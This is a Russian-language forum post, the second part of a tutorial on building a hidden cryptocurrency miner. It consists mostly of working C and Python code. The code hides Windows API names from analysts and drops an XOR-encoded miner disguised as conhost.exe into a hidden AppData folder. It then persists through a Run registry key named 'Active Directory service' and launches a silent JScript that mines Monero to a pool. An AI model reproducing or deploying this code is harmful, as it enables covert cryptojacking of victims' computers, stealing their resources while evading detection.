Часть 2 | Скрытый майнер из говна и палок за 15 минут (Слишком много БУКАВ)

MaiK

Знающий
Дней с нами
2.587
Розыгрыши
0
Сообщения
124
Репутация
1
Реакции
80
1 Часть https://mipped.com/f/threads/skrytyj-majner-iz-govna-i-palok-za-15-minut-slishkom-mnogo-bukav.49389/

Этот код получит из системной переменной путь до аппдаты и положит в lpBuffer размером dwSize, вернув true если все оки шмоки. Кстати, извращения с таким написанием аппдатой нужны для того, чтобы в той же IDA при просмотре строк не было видно AppData, так как в данном случае она собирается прямиком на стеке, либо при помощи mov, либо push ( в зависимости от флагов оптимизации )

Шик, теперь прихуярим создание поддиректории в аппдате
Код:
BOOL CreateSubdir(LPWSTR lpPath, LPWSTR lpDirName)
{
    typedef BOOL (WINAPI *fnCreateDirectory)(
        _In_     LPWSTR               lpPathName,
        _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes
        );

    CHAR szCreateDirectory[] = { 'C', 'r', 'e', 'a', 't', 'e', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'W', '\0' };
    WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };

    fnCreateDirectory fpCreateDirectory = (fnCreateDirectory)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateDirectory);

    if (!fpCreateDirectory)
        return FALSE;

    LPWSTR lpNewPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!lpNewPath)
        return FALSE;

    wsprintfW(lpNewPath, L"%s\\%s", lpPath, lpDirName);

    BOOL bRet = fpCreateDirectory(lpNewPath, 0);

    if (GetLastError() == ERROR_ALREADY_EXISTS)
        bRet = TRUE;

    VirtualFree(lpNewPath, 0, MEM_RELEASE);
    return bRet;

}
очевидно читатель уже изрядно охуел от такой сборки строк на стеке. Так что отвечу: нет, я не мазохист, за меня все делает этот збс самодельный скрипт
Код:
#/usr/bin/python

import sys
from Tkinter import Tk

if len(sys.argv) < 3:
    print "stackstring.py <string> W/A"
    sys.exit(1)

prefix = '';
array = 'CHAR arr[] = {'
if (sys.argv[2] == 'W'):
    prefix = 'L'
    array = 'WCHAR arr[] = {'

i = 0
while i < len(sys.argv[1]):
    chr = sys.argv[1][i]
    if (chr == '\\'):
        chr = '\\\\'
        i += 1
    array+=prefix + "'" + chr + "'"
    if (i != len(sys.argv[1]) - 1):
        array+= ", "
    i += 1

array += ", " + prefix + "'\\0'"
  
array += "};"
      
r = Tk()
r.withdraw()
r.clipboard_clear()
r.clipboard_append(array)
r.destroy()
      
print array
 
Последнее редактирование:
Больной ублюдок
 
  • Like
Реакции: andrew9876
Теперь осталось сделать код, который дропнет все это дело в созданную директорию
Код:
HANDLE MyCreateFileW(LPWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwCreationDisposition)
{
    typedef HANDLE (WINAPI *fnCreateFileW)(
        _In_     LPWSTR                lpFileName,
        _In_     DWORD                 dwDesiredAccess,
        _In_     DWORD                 dwShareMode,
        _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
        _In_     DWORD                 dwCreationDisposition,
        _In_     DWORD                 dwFlagsAndAttributes,
        _In_opt_ HANDLE                hTemplateFile
        );

    WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
    CHAR szCreateFileW[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', '\0' };


    fnCreateFileW fpCreateFileW = (fnCreateFileW)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateFileW);

    if (!fpCreateFileW)
        return FALSE;

    return fpCreateFileW(lpFileName, dwDesiredAccess, FILE_SHARE_READ, 0, dwCreationDisposition, FILE_ATTRIBUTE_HIDDEN, 0);

}

BOOL MyWriteFile(HANDLE hFile, LPBYTE lpByteCode, DWORD dwSize)
{
    typedef BOOL (WINAPI *fnWriteFile)(
        _In_        HANDLE       hFile,
        _In_        LPVOID       lpBuffer,
        _In_        DWORD        nNumberOfBytesToWrite,
        _Out_opt_   LPDWORD      lpNumberOfBytesWritten,
        _Inout_opt_ LPOVERLAPPED lpOverlapped
        );

    WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
    CHAR szWriteFile[] = { 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', '\0' };

    fnWriteFile fpWriteFile = (fnWriteFile)GetProcAddress(GetModuleHandleW(szKernelLib), szWriteFile);


    if (!fpWriteFile)
        return FALSE;

    DWORD dwWritten;
    return fpWriteFile(hFile, lpByteCode, dwSize, &dwWritten, 0);
}

BOOL DropArray(LPWSTR lpPath, LPWSTR lpName, LPBYTE lpByteCode, DWORD dwSize)
{
    LPWSTR lpNewName = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!lpName)
        return FALSE;

    wsprintfW(lpNewName, L"%s\\%s", lpPath, lpName);

    BOOL bRet = FALSE;
    HANDLE hFile = MyCreateFileW(lpNewName, GENERIC_WRITE, CREATE_ALWAYS);

    if (hFile != INVALID_HANDLE_VALUE)
    {
        bRet = MyWriteFile(hFile, lpByteCode, dwSize);
        CloseHandle(hFile);
    }

    VirtualFree(lpNewName, 0, MEM_RELEASE);
    return bRet;
}
Ну и собрать воедино

Код:
unsigned char lpMinerAes[] = { 0, 0 };
unsigned char lpMinerNoAes[] = { 0, 0 };


BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName)
{
    BOOL bRet = FALSE;

    return bRet;
}

BOOL DropMiner(BOOL bAes)
{
    LPWSTR lpPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!lpPath)
        return FALSE;

    BOOL bRet = FALSE;

    if (GetAppData(lpPath, 256))
    {
        if (CreateSubdir(lpPath, L"Runion"))
        {
            lstrcatW(lpPath, L"\\Runion");
            if (DropArray(lpPath, L"conhost.exe", ((bAes == TRUE) ? lpMinerAes : lpMinerNoAes),
                ((bAes == TRUE) ? sizeof(lpMinerAes) : sizeof(lpMinerNoAes))))
            {
                bRet = SetAutorun(lpPath, L"updater.js", L"conhost.exe");
            }
               
        }
    }

    VirtualFree(lpPath, 0, MEM_RELEASE);
        return bRet;
}
Осталось дописать SetAutorun, потом заглушки с lpMinerAes и lpMinerNoAes вынесем в отдельный header-файл, чтобы не мешались

Честно говоря я уже начал лениться и поэтому дальнейшие действия без динамического импорта, все же статья не об этом ;D
Код:
VOID MakeCorrection(LPWSTR out, LPWSTR in)
{
    DWORD OutCounter = 0;
    for (DWORD inCounter = 0; inCounter < lstrlenW(in); inCounter++)
    {
        if (in[inCounter] == L'\\')
        {
            for (DWORD inter = 0; inter < 2; inter++)
            {
                out[OutCounter++] = L'\\';
            }
        }
        else
        {
            out[OutCounter++] = in[inCounter];
        }
    }
    out[OutCounter] = L'\0';
}

BOOL WriteJsInFile(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpFileName)
{

    struct jsCorrect
    {
        WCHAR jsCorrect0[256];
        WCHAR lpNewName[256];
        WCHAR jscriptData[1024];
    };
   
    jsCorrect* lpjsc = (jsCorrect*)VirtualAlloc(0, sizeof(jsCorrect), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!lpjsc)
        return FALSE;


    BOOL bRet = FALSE;

    wsprintfW(lpjsc->lpNewName, L"%s\\%s", lpPath, lpAutorunName);

    HANDLE hFile = MyCreateFileW(lpjsc->lpNewName, GENERIC_WRITE, CREATE_ALWAYS);

    if (hFile != INVALID_HANDLE_VALUE)
    {

        MakeCorrection(lpjsc->jsCorrect0, lpPath);

        wsprintfW(lpjsc->jscriptData,
            L"var WSHShell = WScript.CreateObject(\"WScript.Shell\");WSHShell.Run('\"%s\\\\%s\" %s', 0);",
            lpjsc->jsCorrect0, lpFileName, L"-t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1"
            );

        bRet = MyWriteFile(hFile, (LPBYTE)lpjsc->jscriptData, lstrlenW(lpjsc->jscriptData) * 2);

        CloseHandle(hFile);

    }
    VirtualFree(lpjsc, 0, MEM_RELEASE);

    return bRet;
}

BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName)
{
    BOOL bRet = FALSE;

    HKEY hKey;

    DWORD ret = RegCreateKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
        0, 0, 0, KEY_ALL_ACCESS, 0, &hKey, 0);
    if (ret == ERROR_SUCCESS)
    {


        if (WriteJsInFile(lpPath, lpAutorunName, lpMinerName))
        {
            LPWSTR lpAutorunPath = (LPWSTR)VirtualAlloc(0, 600, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

            if (lpAutorunPath)
            {
                wsprintfW(lpAutorunPath, L"wscript.exe \"%s\\%s\"", lpPath, lpAutorunName);
                ret = RegSetValueExW(hKey, L"Active Directory service", 0, REG_SZ, (LPBYTE)lpAutorunPath, lstrlenW(lpAutorunPath) * 2);
                if (ret == ERROR_SUCCESS)
                {
                    bRet = TRUE;
                }
                ShellExecuteW(0, L"open", lpAutorunPath, 0, 0, SW_SHOW);

                RegCloseKey(hKey);
                VirtualFree(lpAutorunPath, 0, MEM_RELEASE);
            }
        }
    }


    return bRet;
}
Собсна этот код ставит на авторан примерно следующее содержимое js:
Код:
var WSHShell = WScript.CreateObject("WScript.Shell");WSHShell.Run('"C:\\Users\\USERNAME\\AppData\\Roaming\\Runion\\conhost.exe" -t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1', 0);

И тут же врубает этот js, вместо YOUR_MONERO_WALLET нам нужно вписать наш кошелек монеро для майнинга, а на dwarfpool.com мы сможем мониторить хешрейт. Все вроде просто, да?
browse.php


Осталось при помощи bin2src скрипта, слегка модифицированного мною чтобы он ксорил все на 0x05 байт перегнать версии майнеров в массивы

bin2src

Код:
import os,sys,re,struct

def bin2src(s,name):
    s=bytearray(s)
    o=""
    o+=("static const unsigned char %s[]={" % name)
    for i in range(0,len(s)):
        if (i%32==0):
            o+=("\n")
        a = s[i]
        a ^= 0x5
        o+=("0x%2.2X," % a)
    o+=("\n};\n")
    return o

l=len(sys.argv)
if l<3:
    print "Error: invalid argument\npython bin2src.py file.bin name file.c"
    sys.exit()
f=open(sys.argv[1],"rb")
data=f.read()
f.close()

name=sys.argv[2]
fout=sys.argv[3]

data=bin2src(data,name)
f=open(fout,"wb+")
f.write(data)
f.close()
print "Done"

Перегоняем в массив, билдим и готово

Не забываем сделать декрипт массива при старте софта и скачать при помощи, например, URLDownloadToFile необходимые дллки с любой файлопомойки с прямой ссылки ( например dropbox ).